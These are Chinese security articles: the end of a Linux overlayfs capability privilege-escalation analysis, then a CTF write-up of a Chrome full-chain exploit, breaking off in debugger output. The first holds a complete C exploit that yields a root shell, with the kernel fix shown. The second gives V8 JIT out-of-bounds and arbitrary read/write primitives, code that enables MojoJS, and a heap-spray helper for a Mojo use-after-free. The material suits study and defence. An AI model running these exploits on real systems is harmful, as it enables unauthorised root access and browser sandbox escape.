const struct cred *old_cred;
...
}
其中的`upperdentry`和`realdentry`就是`./eki_ovlcap/upper`目录下的`magic`的目录项
也就是说在给`overlay`文件系统中的`./eki_ovlcap/merge/magic`设置`capabilitiy`时就是对ext3文件系统下的`./eki_ovlcap/upper/magic`进行设置`capabilitiy`从而实现了权限逃逸
## 漏洞演示
下面具体来看Exp的分析
首先fork子进程在子进程中调用exploit
int main(int argc, char *argv[])
{
pid_t child = fork();
if (child == -1)
err(1, "fork");
if (child == 0) {
_exit(exploit());
} else {
waitpid(child, NULL, 0);
}
execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
err(1, "execl %s", BIN_UPPER);
}
下面分析`exploit`函数，首先是建立相关文件夹
#define DIR_BASE "./eki_ovlcap"
#define DIR_WORK DIR_BASE "/work"
#define DIR_LOWER DIR_BASE "/lower"
#define DIR_UPPER DIR_BASE "/upper"
#define DIR_MERGE DIR_BASE "/merge"
static int exploit()
{
mkdir(DIR_BASE, 0777);
mkdir(DIR_WORK, 0777);
mkdir(DIR_LOWER, 0777);
mkdir(DIR_UPPER, 0777);
mkdir(DIR_MERGE, 0777);
return 0;
}
因为`overlayfs mount`需要`CAP_SYS_MOUNT`，通过`unshare`函数创建新的`user namespace`
使用flag为`CLONE_NEWNS | CLONE_NEWUSER`
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
err(1, "unshare");
然后获取`uid`和`gid`,并修改相应文件进行映射
writefile("/proc/self/setgroups", "deny");
uid_t uid = getuid();
gid_t gid = getgid();
sprintf(buf, "0 %d 1", uid);
writefile("/proc/self/uid_map", buf);
sprintf(buf, "0 %d 1", gid);
writefile("/proc/self/gid_map", buf);
这步是必须的,如下所示
$ id
uid=1000(eki) gid=1001(eki) groups=1001(eki)
$ unshare --user /bin/bash
nobody@EDI:/root$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
在新的`user namespace`中，当前用户变成了`nobody`
我们还需要映射父`user namespace`的`user ID`和`group ID`到子`user
namespace`中来，这一步是必须的，因为这样系统才能控制一个`user namespace`里的用户在其他`user namespace`中的权限。
映射`ID`的方法就是添加映射信息到`/proc/PID/uid_map`和 `/proc/PID/gid_map`(这里的 PID 是新 user
namespace 中的进程 ID，刚开始时这两个文件都是空的)文件中。
文件配置信息的格式如下：
ID-inside-ns ID-outside-ns length
在这里就是
sprintf(buf, "0 %d 1", uid);
writefile("/proc/self/uid_map", buf);
sprintf(buf, "0 %d 1", gid);
writefile("/proc/self/gid_map", buf);
其中`writefile`函数就是向对应file中写入第二个参数中的字符串，实现后面完整代码
然后挂载overlay文件系统，根据之前的分析，在`Ubuntu`中用户是有权限挂载的
#define BIN_MERGE DIR_MERGE "/magic"
sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
err(1, "mount %s", DIR_MERGE);
copyfile("/proc/self/exe", BIN_MERGE, 0777);
其中`copyfile`函数就是将文件复制到第二个参数中，并赋予第三个参数的权限，实现见后面的完整代码
这里是将`/proc/self/exe`复制到`BIN_MERGE`也就是`./eki_ovlcap/merge/magic`下
接着构造一个`capabilities`
// all+ep
char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";
`cap`中
\x01\x00\x00\x02 #对应megic_etc
\xff\xff\xff\xff #对应permiited
\x00\x00\x00\x00 #对应inheritable
\xff\xff\xff\xff
\x00\x00\x00\x00
效果如下
权限逃逸关键在于`setxattr`
if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
err(1, "setxattr %s", BIN_MERGE);
根据前文漏洞原理介绍，执行完此函数后，属于`ext3`文件系统的`./eki_ovlcap/upper/magic`文件的`capabilitiy`为`all+ep`,这个程序就是我们之前`copyfile`过去的程序。
#define BIN_UPPER DIR_UPPER "/magic"
pid_t child = fork();
if (child == 0) {
_exit(exploit());
} else {
waitpid(child, NULL, 0); //父进程等待子进程执行exploit完成
}
execl(BIN_UPPER, BIN_UPPER, "shell", NULL);//执行具有权限的BIN_UPPER 也即
err(1, "execl %s", BIN_UPPER);
此时具有权限的`./eki_ovlcap/upper/magic`进入如下判断语句块，通过`setuid(0);setgid(0);`提升权限并执行`/bin/bash`获取shell
if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
setuid(0);
setgid(0);
execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
err(1, "execl /bin/bash");
}
完整Exp如下
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>
//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);
#define DIR_BASE "./eki_ovlcap"
#define DIR_WORK DIR_BASE "/work"
#define DIR_LOWER DIR_BASE "/lower"
#define DIR_UPPER DIR_BASE "/upper"
#define DIR_MERGE DIR_BASE "/merge"
#define BIN_MERGE DIR_MERGE "/magic"
#define BIN_UPPER DIR_UPPER "/magic"
static void writefile(const char *path, const char *data)
{
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "open %s", path);
ssize_t len = (ssize_t) strlen(data);
if (write(fd, data, len) != len)
err(1, "write %s", path);
close(fd);
}
static void copyfile(const char *src, const char *dst, mode_t mode)
{
int fi, fo;
if ((fi = open(src, O_RDONLY)) == -1)
err(1, "open %s", src);
if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
err(1, "open %s", dst);
char buf[4096];
ssize_t rd, wr;
for (;;) {
rd = read(fi, buf, sizeof(buf));
if (rd == 0) {
break;
} else if (rd == -1) {
if (errno == EINTR)
continue;
err(1, "read %s", src);
}
char *p = buf;
while (rd > 0) {
wr = write(fo, p, rd);
if (wr == -1) {
if (errno == EINTR)
continue;
err(1, "write %s", dst);
}
p += wr;
rd -= wr;
}
}
close(fi);
close(fo);
}
static int exploit()
{
char buf[4096];
sprintf(buf, "rm -rf '%s/'", DIR_BASE);
system(buf);
mkdir(DIR_BASE, 0777);
mkdir(DIR_WORK, 0777);
mkdir(DIR_LOWER, 0777);
mkdir(DIR_UPPER, 0777);
mkdir(DIR_MERGE, 0777);
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
err(1, "unshare");
writefile("/proc/self/setgroups", "deny");
uid_t uid = getuid();
gid_t gid = getgid();
sprintf(buf, "0 %d 1", uid);
writefile("/proc/self/uid_map", buf);
sprintf(buf, "0 %d 1", gid);
writefile("/proc/self/gid_map", buf);
sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
err(1, "mount %s", DIR_MERGE);
// all+ep
char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";
copyfile("/proc/self/exe", BIN_MERGE, 0777);
if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
err(1, "setxattr %s", BIN_MERGE);
return 0;
}
int main(int argc, char *argv[])
{
if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
setuid(0);
setgid(0);
execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
err(1, "execl /bin/bash");
}
pid_t child = fork();
if (child == -1)
err(1, "fork");
if (child == 0) {
_exit(exploit());
} else {
waitpid(child, NULL, 0);
}
execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
err(1, "execl %s", BIN_UPPER);
}
演示效果如下图
官方给出的修复方法是
diff --git a/fs/xattr.c b/fs/xattr.c
index cd7a563e8bcd4..fd57153b1f617 100644
--- a/fs/xattr.c
+++ b/fs/xattr.c
@@ -276,8 +276,16 @@ vfs_setxattr(struct dentry *dentry, const char *name, const void *value,
{
struct inode *inode = dentry->d_inode;
struct inode *delegated_inode = NULL;
+ const void *orig_value = value;
int error;
+ if (size && strcmp(name, XATTR_NAME_CAPS) == 0) {
+ error = cap_convert_nscap(dentry, &value, size);
+ if (error < 0)
+ return error;
+ size = error;
+ }
+
retry_deleg:
inode_lock(inode);
error = __vfs_setxattr_locked(dentry, name, value, size, flags,
@@ -289,6 +297,9 @@ retry_deleg:
if (!error)
goto retry_deleg;
}
+ if (value != orig_value)
+ kfree(value);
+
return error;
}
EXPORT_SYMBOL_GPL(vfs_setxattr);
@@ -537,12 +548,6 @@ setxattr(struct dentry *d, const char __user *name, const void __user *value,
if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
(strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
posix_acl_fix_xattr_from_user(kvalue, size);
- else if (strcmp(kname, XATTR_NAME_CAPS) == 0) {
- error = cap_convert_nscap(d, &kvalue, size);
- if (error < 0)
- goto out;
- size = error;
- }
}
error = vfs_setxattr(d, kname, kvalue, size, flags);
每次进入`vfs_setxattr()`函数时，都通过`cap_convert_nscap()`进行权限校验，判断`capabilitiy`和命名空间的权限是否匹配,防止权限逃逸
## 参考资料
* <https://blog.csdn.net/qq_15770331/article/details/96699386>
* <https://www.cnblogs.com/sparkdev/p/9462838.html>
* <https://www.secrss.com/articles/28488>
* <https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/>
* <https://www.secrss.com/articles/30906>
* <https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7c03e2cda4a584cadc398e8f6641ca9988a39d52>
这是本人第一次分析Linux内核相关代码，如果在文中发现有什么问题，欢迎大家斧正 | 社区文章 |
# 沙箱逃逸分析 AntCTF x D^3CTF EasyChromeFullChain
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
最近开始着手研究Chrome沙箱逃逸，正好借着本题学习一下。FullChain的漏洞利用一般需要依靠两个漏洞，首先是通过RCE开启Mojo（一种Chrome用于子进程与父进程进行通信的机制），然后通过Mojo漏洞逃离出沙箱。
## 0x01 前置知识
### Mojo
简单来说，就是一种通信机制，它由两部分组成，首先是C/C++层的具体实现部分，这部分的代码会被一起编译进chrome程序中，并且它将运行在chrome的`browser进程`中(即主进程，没有沙箱的限制)，第二部分就是对外导出的api接口了，在编译好mojom以后，会得到一系列js文件，这些js文件就是对外开放的api库了，我们可以引用它们，从而调用在`browser进程`中的C/C++代码。
Mojo不止有js的导出api库，还有java和C/C++的导出api库
在一般的CTF的RealWord题目中，这些mojo的js库一般会部署到远程的web根目录下，仅仅是为了方便，在真实的场景中，这些js一般不会出现，或者出现在一些我们无法预知的路径中，实际上，由于Chrome开源，因此这些库我们都可以直接编译得到一份，然后将其放置在我们远程的服务器上即可
要使用mojo的导出api，一般我们需要在js中引用两个库，一个是`mojo_bindings.js`，提供了一些Mojo操作用的对象和函数，另一个库就是我们想要调用的模块对应的js文件。
<\script type="text/javascript" src="/mojo_bindings.js"><\/script>
<\script type="text/javascript" src="/third_party/blink/public/mojom/xxxxx/xxxxx.mojom.js"><\/script>
然后，想在代码中使用，只需下列两句话初始化
let xxxxx_ptr = new blink.mojom.xxxxx();
Mojo.bindInterface(blink.mojom.xxxxx.name,mojo.makeRequest(xxxxx_ptr).handle, "process", true);
初始化以后，我们就可以使用`xxxxx_ptr.`的方式来调用`browser进程`中的C/C++函数了。这种方式有点类似于Java中的JNI技术，在语言层仅声明函数，具体实现在底层。不同之处在于`mojo`的底层代码运行在`browser进程`,一旦`mojo`的模块代码实现有漏洞，便可能控制`browser进程`的程序流，进而完成了沙箱逃逸。
## 0x02 V8 RCE部分
### 漏洞分析
diff --git a/src/compiler/simplified-lowering.cc b/src/compiler/simplified-lowering.cc
index ef56d56e44..0d0091fcd8 100644
--- a/src/compiler/simplified-lowering.cc
+++ b/src/compiler/simplified-lowering.cc
@@ -187,12 +187,12 @@ bool CanOverflowSigned32(const Operator* op, Type left, Type right,
// We assume the inputs are checked Signed32 (or known statically to be
// Signed32). Technically, the inputs could also be minus zero, which we treat
// as 0 for the purpose of this function.
- if (left.Maybe(Type::MinusZero())) {
- left = Type::Union(left, type_cache->kSingletonZero, type_zone);
- }
- if (right.Maybe(Type::MinusZero())) {
- right = Type::Union(right, type_cache->kSingletonZero, type_zone);
- }
+ // if (left.Maybe(Type::MinusZero())) {
+ // left = Type::Union(left, type_cache->kSingletonZero, type_zone);
+ // }
+ // if (right.Maybe(Type::MinusZero())) {
+ // right = Type::Union(right, type_cache->kSingletonZero, type_zone);
+ // }
left = Type::Intersect(left, Type::Signed32(), type_zone);
right = Type::Intersect(right, Type::Signed32(), type_zone);
if (left.IsNone() || right.IsNone()) return false;
@@ -1671,18 +1671,18 @@ class RepresentationSelector {
VisitBinop<T>(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32);
if (lower<T>()) {
- if (lowering->poisoning_level_ ==
- PoisoningMitigationLevel::kDontPoison &&
- (index_type.IsNone() || length_type.IsNone() ||
+ if ((index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min()))) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
// TODO(neis): Move this into TypedOptimization?
new_flags |= CheckBoundsFlag::kAbortOnOutOfBounds;
+ DeferReplacement(node, node->InputAt(0));
+ } else {
+ NodeProperties::ChangeOp(
+ node, simplified()->CheckedUint32Bounds(feedback, new_flags));
}
- NodeProperties::ChangeOp(
- node, simplified()->CheckedUint32Bounds(feedback, new_flags));
}
} else if (p.flags() & CheckBoundsFlag::kConvertStringAndMinusZero) {
VisitBinop<T>(node, UseInfo::CheckedTaggedAsArrayIndex(feedback),
该patch位于`CanOverflowSigned32`函数，首先确定该函数的调用者，该函数首先在`VisitSpeculativeIntegerAdditiveOp`中被调用，然后在`simplified-lowering`阶段执行`VisitNode`时，遇到`kSpeculativeSafeIntegerAdd`或者`kSpeculativeSafeIntegerSubtract`时被调用来处理节点。
case IrOpcode::kSpeculativeSafeIntegerAdd:
case IrOpcode::kSpeculativeSafeIntegerSubtract:
return VisitSpeculativeIntegerAdditiveOp<T>(node, truncation, lowering);
if (lower<T>()) {
if (truncation.IsUsedAsWord32() ||
!CanOverflowSigned32(node->op(), left_feedback_type,
right_feedback_type, type_cache_,
graph_zone())) {
ChangeToPureOp(node, Int32Op(node));
} else {
ChangeToInt32OverflowOp(node);
}
}
为了研究`CanOverflowSigned32`的流程，我们使用如下代码进行测试
function opt(b) {
var x = b ? 0 : 1;
var y = b ? 2 : 3;
var i = x + y;
return i;
}
for (var i=0;i<0x10000;i++) {
opt(true);
opt(false);
}
在`V8.TFBytecodeGraphBuilder`阶段，就已经使用了`SpeculativeSafeIntegerAdd`函数来进行加法运算，到了`V8.TFSimplifiedLowering`阶段，`SpeculativeSafeIntegerAdd`被替换成了`Int32Add`，
然而断点`CanOverflowSigned32`的话，发现未断下，说明该函数未被调用，显然是满足了条件`truncation.IsUsedAsWord32`，于是我们修改一下测试用例
function opt(b) {
var x = b ? 1 : -1;
var y = b ? 2 : -0x80000000;
var i = x + y;
return i;
}
for (var i=0;i<0x10000;i++) {
opt(true);
//opt(false);
}
首先，我们修改了变量x和y的范围，使得x为`Range(-1,1)`，y为`Range(-0x80000000,2)`，那么，对于这种情况，`JIT`目前还不知道是否可以使用`int32`的函数来计算，因为它只知道一个Range，如果是计算表达式`-0x80000000+1`的话，不会溢出，但如果是计算表达式`-1+-0x80000000`就会`int32`的范围，发生溢出。因此这种情况下，将会调用`CanOverflowSigned32`来检查。
如果我们不注释掉`opt(false);`，结果如下
这是因为JIT代码生成时收集的信息已经完整，直接使用`int64`的函数了。也不会去调用`CanOverflowSigned32`函数。
现在知道如何触发`CanOverflowSigned32`函数以后，我们就可以在该函数下断点，然后进行调试
In file: /home/sea/Desktop/v8/src/compiler/simplified-lowering.cc
185 bool CanOverflowSigned32(const Operator* op, Type left, Type right,
186 TypeCache const* type_cache, Zone* type_zone) {
187 // We assume the inputs are checked Signed32 (or known statically to be
188 // Signed32). Technically, the inputs could also be minus zero, which we treat
189 // as 0 for the purpose of this function.
► 190 if (left.Maybe(Type::MinusZero())) {
191 left = Type::Union(left, type_cache->kSingletonZero, type_zone);
192 }
193 if (right.Maybe(Type::MinusZero())) {
194 right = Type::Union(right, type_cache->kSingletonZero, type_zone);
195 }
pwndbg> p left.Min()
$2 = -1
pwndbg> p left.Max()
$3 = 1
pwndbg> p right.Min()
$4 = -2147483648
pwndbg> p right.Max()
$5 = 2
可以知道，这里，`left`就是`x`，而`right`就是`y`，被patch的这段代码
190 if (left.Maybe(Type::MinusZero())) {
191 left = Type::Union(left, type_cache->kSingletonZero, type_zone);
192 }
193 if (right.Maybe(Type::MinusZero())) {
194 right = Type::Union(right, type_cache->kSingletonZero, type_zone);
195 }
其作用是通过与`0`进行`Union`，那么，如果`left`或者`right`中存在`-0`的话，会先转换为`0`。那么我们来继续分析一下，如果`-0`不被转换，会存在什么情况？
首先，我们修改一下测试用例，添加一个`-0`
function opt(b) {
var x = b ? -1 : -0;
var y = b ? 2 : -0x80000000;
var i = x + y;
return i;
}
for (var i=0;i<0x10000;i++) {
opt(true);
}
主要是下面这里做`Intersect`时，将出现问题，因为`-0`不属于`Type::Signed32()`类型
196 left = Type::Intersect(left, Type::Signed32(), type_zone);
197 right = Type::Intersect(right, Type::Signed32(), type_zone);
► 198 if (left.IsNone() || right.IsNone()) return false;
正常情况下，结果是这样的
193 if (right.Maybe(Type::MinusZero())) {
194 right = Type::Union(right, type_cache->kSingletonZero, type_zone);
195 }
196 left = Type::Intersect(left, Type::Signed32(), type_zone);
197 right = Type::Intersect(right, Type::Signed32(), type_zone);
► 198 if (left.IsNone() || right.IsNone()) return false;
199 switch (op->opcode()) {
200 case IrOpcode::kSpeculativeSafeIntegerAdd:
201 return (left.Max() + right.Max() > kMaxInt) ||
202 (left.Min() + right.Min() < kMinInt);
203
pwndbg> p left.Min()
$9 = -1
pwndbg> p left.Max()
$10 = 0
patch以后结果是这样的
pwndbg> p left.Min()
$1 = -1
pwndbg> p left.Max()
$3 = -1
即`-0`丢失了,`x`由`Range(-1,-0)`变成了`Range(-1,-1)`，显然，这将导致溢出检测出现问题，我们直接继续修改测试用例，将加法改成减法,那么`Range(-1,-1)-Range(-0x80000000,2)`显然没有超过`int32`，于是`CanOverflowSigned32`返回`false`，没有检查出溢出。
function opt(b) {
var x = b ? -1 : -0;
var y = b ? 2 : -0x80000000;
var i = x - y;
return i;
}
for (var i=0;i<0x10000;i++) {
opt(true);
}
print(opt(false));
虽然输出的值仍然是`2147483648`，但实际上，cpu溢出标志位已经被设置，因此如果我们使用`==`与`-0x80000000`，将返回`true`，正常情况下是`false`。于是构造POC如下
function opt(b) {
var x = b ? -1 : -0;
var y = b ? 2 : -0x80000000;
var i = x - y;
return i == -0x80000000;
}
for (var i=0;i<0x10000;i++) {
opt(true);
}
print(opt(false));
### OOB数组构造
我们注意到，还有一处patch
- if (lowering->poisoning_level_ ==
- PoisoningMitigationLevel::kDontPoison &&
- (index_type.IsNone() || length_type.IsNone() ||
+ if ((index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min()))) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
// TODO(neis): Move this into TypedOptimization?
new_flags |= CheckBoundsFlag::kAbortOnOutOfBounds;
+ DeferReplacement(node, node->InputAt(0));
此处patch的作用是在一些情况下将`checkbounds`节点消除，由于高版本V8已经不会将`checkbounds`节点直接消除，因此出题者为了降低难度增加了这个patch。构造OOB的数组过程如下，其过程比较简单
var length_as_double = p64f(0x08042a89,0x200000);
function opt(b) {
//Range(-1,-0)
var x = b ? -1 : -0;
//Range(-1,-0x80000000)
var y = b ? 1 : -0x80000000;
//Range(-1,0)
var i = ((x - y) == -0x80000000);
if (b) i = -1;
//将i转换为数字，否则会进行Deoptimization
//Range(-1,0)
//reality:1
i = i >> 0;
//Range(0,1)
//reality:2
i = i + 1;
//Range(0,2)
//reality:4
i = i * 2;
//Range(1,3)
//reality:5
i = i + 1
var arr = [1.1,2.2,3.3,4.4,5.5];
var oob = [1.1,2.2];
arr[i] = length_as_double;
return oob;
}
for(let i = 0; i < 0x20000; i++)
opt(true);
var oob = opt(false);
oob.length = 0x1000;
查看一下IR图，在`V8.TFEscapeAnalysis`阶段时，还存在`CheckBound`节点
然而到了`V8.TFSimplifiedLowering`阶段，该节点消除了，于是数组可以越界
构造出OOB数组以后，只需接下来布局几个对象，即可轻松实现`addressOf`，`read64`，`write64`等原语，实现任意地址读写。
var obj_arr = [{}];
var float_arr = new Float64Array(1.1,2.2);
var arr_buf = new ArrayBuffer(0x1000);
var adv = new DataView(arr_buf);
var compression_high = u64f(oob[0x1d])[0];
print("compression_high=" + compression_high.toString(16));
function addressOf(obj) {
obj_arr[0] = obj;
var low = BigInt(u64f(oob[0x9])[1]) - 0x1n;
var addr = low | (BigInt(compression_high) << 32n);
return addr;
}
function read64(addr) {
oob[0x22] = p64f(0,big2int(addr));
oob[0x23] = p64f(big2int(addr >> 32n),0);
return adv.getBigUint64(0,true);
}
function write64(addr,value) {
oob[0x22] = p64f(0,big2int(addr));
oob[0x23] = p64f(big2int(addr >> 32n),0);
adv.setBigUint64(0,value,true);
}
### 地址泄露
我们使用`addressOf`泄露出`chrome.dll`的地址，然后后续就可以计算出一些gadgets的地址
var window_addr = addressOf(window);
chrome_dll_base = read64(window_addr+0x10n) - 0x7e86298n;
console.log("chrome_dll_base=0x" + chrome_dll_base.toString(16));
## 0x03 沙箱逃逸Mojo部分
### 漏洞分析
+void RenderFrameHostImpl::CreateAntNest(
+ mojo::PendingReceiver<antctf::mojom::AntNest> receiver) {
+ mojo::MakeSelfOwnedReceiver(std::make_unique<AntNestImpl>(this),
+ std::move(receiver));
+}
在`CreateAntNest`创建实例时，使用`std::make_unique<AntNestImpl>(this)`，创建了一个`AntNestImpl`对象，并使用`unique`智能指针进行管理，那么意味着这个`AntNestImpl`对象的生命周期与通信管道绑定了，在js层，我们可以通过`xxx.ptr.reset()`来手动释放。`this指针`也就是`RenderFrameHostImpl`对象的指针被保存于`AntNestImpl`对象中
+AntNestImpl::AntNestImpl(
+ RenderFrameHost* render_frame_host)
+ : render_frame_host_(render_frame_host){}
并且在`AntNestImpl::Store`和`AntNestImpl::Fetch`函数中，有调用`render_frame_host_`中的虚表函数
+void AntNestImpl::Store(const std::string &data){
+ size_t depth = render_frame_host_->GetFrameDepth();
+ if(depth == 0 || depth > 10){
+ return;
+ }
+ size_t capacity = depth * 0x100;
+ size_t count = capacity < data.size() ? capacity : data.size();
+
+ container_.emplace(
+ std::make_pair(depth, data.substr(0, count))
+ );
+}
+
+void AntNestImpl::Fetch(FetchCallback callback){
+ size_t depth = render_frame_host_->GetFrameDepth();
+ if(depth == 0 || depth > 10){
+ std::move(callback).Run("error depth");
+ return;
+ }
+ auto it = container_.find(depth);
+ if(it == container_.end()){
+ std::move(callback).Run("not yet stored");
+ return;
+ }
+
+ std::move(callback).Run(it->second);
+}
然而该对象不会随着`render_frame_host_`对象的销毁而销毁，这意味着即使`render_frame_host_`被释放了,其指针仍然在`AntNestImpl`对象中，我们仍然可以对其相关函数进行调用，这就造成了UAF。
### 开启Mojo功能
正常情况下，`chrome`启动时是没有开启`Mojo`支持的，除非启动时加上选项`--enable-blink-features=MojoJS`，开启`Mojo`的判断逻辑如下
void RenderFrameImpl::DidCreateScriptContext(v8::Local<v8::Context> context,
int world_id) {
if (((enabled_bindings_ & BINDINGS_POLICY_MOJO_WEB_UI) ||
enable_mojo_js_bindings_) &&
IsMainFrame() && world_id == ISOLATED_WORLD_ID_GLOBAL) {
// We only allow these bindings to be installed when creating the main
// world context of the main frame.
blink::WebContextFeatures::EnableMojoJS(context, true);
}
从中可以看出，只有`main frame`才可以支持`Mojo`，判断`main
frame`是通过`IsMainFrame`函数来判断，实质就是`frame`对象中的一个字段，可以用任意地址读写将其修改为`1`，即可满足这一个条件，然而第二个条件就是`enable_mojo_js_bindings_`为真或者`enabled_bindings_`为`BINDINGS_POLICY_MOJO_WEB_UI`，即`2`，由于我们在V8方面已经可以任意地址读写，只需修改相关`RenderFrameImpl`对象中的一些字段，然后在js层使用`window.location.reload();`重新加载页面，即可开启Mojo。一个网页中可能会用多个`RenderFrameImpl`对象，我们可以使用如下方法在一个网页中添加一个`iframe`，其对应着`RenderFrameImpl`对象。
var iframe = document.createElement("iframe");
iframe.src = "child.html";
document.body.appendChild(iframe);
其中`child.html`内容如下
<\html>
<\script type="text/javascript" src="/mojo_bindings.js"><\/script>
<\script src="/third_party/blink/public/mojom/ant_nest/ant_nest.mojom.js"><\/script>
<\script src="/enable_mojo.js"><\/script>
<\script>
if (checkMojo()) {
antNestPtr = new antctf.mojom.AntNestPtr();
Mojo.bindInterface(antctf.mojom.AntNest.name,
mojo.makeRequest(antNestPtr).handle, "context", true);
antNestPtr.store("aaaabbbb");
} else {
enable_mojo();
window.location.reload();
}
<\/script>
<\/html>
这些`RenderFrameImpl`对象，通过`g_frame_map`存储，这是一个全局变量，其定义如下
typedef std::map<blink::WebFrame*, RenderFrameImpl*> FrameMap;
base::LazyInstance<FrameMap>::DestructorAtExit g_frame_map =
LAZY_INSTANCE_INITIALIZER;
可以大致知道它是一个`std::map`容器，由于题目给我们的`chrome.dll`是去掉符号的，但幸运的是保留了一些调试信息，因此可以根据一些调试信息来定位`g_frame_map`的位置，不然就得重新编译一份版本一样的进行比对。可以通过IDA过滤字符串`render_frame_impl.cc`，然后定位到该字符串，交叉引用，列出一些函数，然后查看函数，找到一些特征，然后再加以动态调试观察
可以确定`7FF87C478E80`这个位置就是`g_frame_map`，其偏移为`0x8688e80`，于是，我们可以遍历`g_frame_map`，修改每一个`RenderFrameImpl`对象里的信息，使其满足开启`Mojo`的条件
function enable_mojo() {
var g_frame_map_addr = chrome_dll_base + 0x8688e80n;
console.log("g_frame_map_addr=0x" + g_frame_map_addr.toString(16));
var begin_ptr = read64(g_frame_map_addr + 0x8n);
while (begin_ptr != 0n) {
var render_frame_ptr = read64(begin_ptr + 0x28n);
console.log("render_frame_ptr=0x" + render_frame_ptr.toString(16));
var enabled_bindings_addr = render_frame_ptr + 0x5acn;
console.log("enabled_bindings_addr=0x" + enabled_bindings_addr.toString(16));
write32(enabled_bindings_addr,2);
var is_main_frame_addr = render_frame_ptr + 0xc8n;
console.log("is_main_frame_addr=0x" + is_main_frame_addr.toString(16));
write8(is_main_frame_addr,1);
begin_ptr = read64(begin_ptr + 0x8n);
}
resetBacking_store();
return true;
}
### 泄露RenderFrameImpl对象地址
制造UAF比较简单，然后我们可以利用`mojo`自带的`BlobRegistry`对象进行`heap
spray`将数据布局，伪造好`render_frame_host_`的虚表，利用`BlobRegistry`进行`heap
spray`的方法已经被国外大佬封装为函数，几乎可以在`Mojo`这一类UAF中统一使用。
function getAllocationConstructor() {
let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
Mojo.bindInterface(blink.mojom.BlobRegistry.name,mojo.makeRequest(blob_registry_ptr).handle, "process", true);
function Allocation(size=280) {
function ProgressClient(allocate) {
function ProgressClientImpl() {
}
ProgressClientImpl.prototype = {
onProgress: async (arg0) => {
if (this.allocate.writePromise) {
this.allocate.writePromise.resolve(arg0);
}
}
}
this.allocate = allocate;
this.ptr = new mojo.AssociatedInterfacePtrInfo();
var progress_client_req = mojo.makeRequest(this.ptr);
this.binding = new mojo.AssociatedBinding(blink.mojom.ProgressClient, new ProgressClientImpl(), progress_client_req);
return this;
}
this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size});
this.progressClient = new ProgressClient(this);
blob_registry_ptr.registerFromStream("", "", size, this.pipe.consumer, this.progressClient.ptr).then((res) => {
this.serialized_blob = res.blob;
});
this.malloc = async function(data) {
promise = new Promise((resolve, reject) => {
this.writePromise = {resolve: resolve, reject: reject};
});
this.pipe.producer.writeData(data);
this.pipe.producer.close();
written = await promise;
console.assert(written == data.byteLength);
}
this.free = async function() {
await this.serialized_blob.blob.ptr.reset();
}
this.read = function(offset, length) {
this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length});
this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null);
return new Promise((resolve) => {
this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => {
result = new ArrayBuffer(length);
this.readpipe.consumer.readData(result);
this.watcher.cancel();
resolve(result);
});
});
}
this.readQword = async function(offset) {
let res = await this.read(offset, 8);
return (new DataView(res)).getBigUint64(0, true);
}
return this;
}
async function allocate(data) {
let allocation = new Allocation(data.byteLength);
await allocation.malloc(data);
return allocation;
}
return allocate;
}
为了泄露`RenderFrameImpl`对象地址，我们可以将`GetFrameDepth`函数伪造为某一类特殊函数，首先能够正常被调用且返回，其次可以往我们能够控制的地方写入一些对象地址。一个在CFG绕过中的思想就可以用到这里了，我们将`GetFrameDepth`函数指针伪造为`RtlCaptureContext`，
0:000> r
rax=00007ff87c342190 rbx=000000006b00c513 rcx=0000022c35d045e0
rdx=0000004b4c3fe140 rsi=0000022c365f2e30 rdi=0000004b4c3fe140
rip=00007ff874e2c47b rsp=0000004b4c3fe070 rbp=0000000000000002
r8=0000000000000000 r9=0000000000000000 r10=0000000000008000
r11=0000004b4c3fdfc0 r12=0000022c365677c0 r13=0000004b4c3fe7c0
r14=0000022c365f2e30 r15=0000000000000000
iopl=0 nv up ei pl nz na po nc
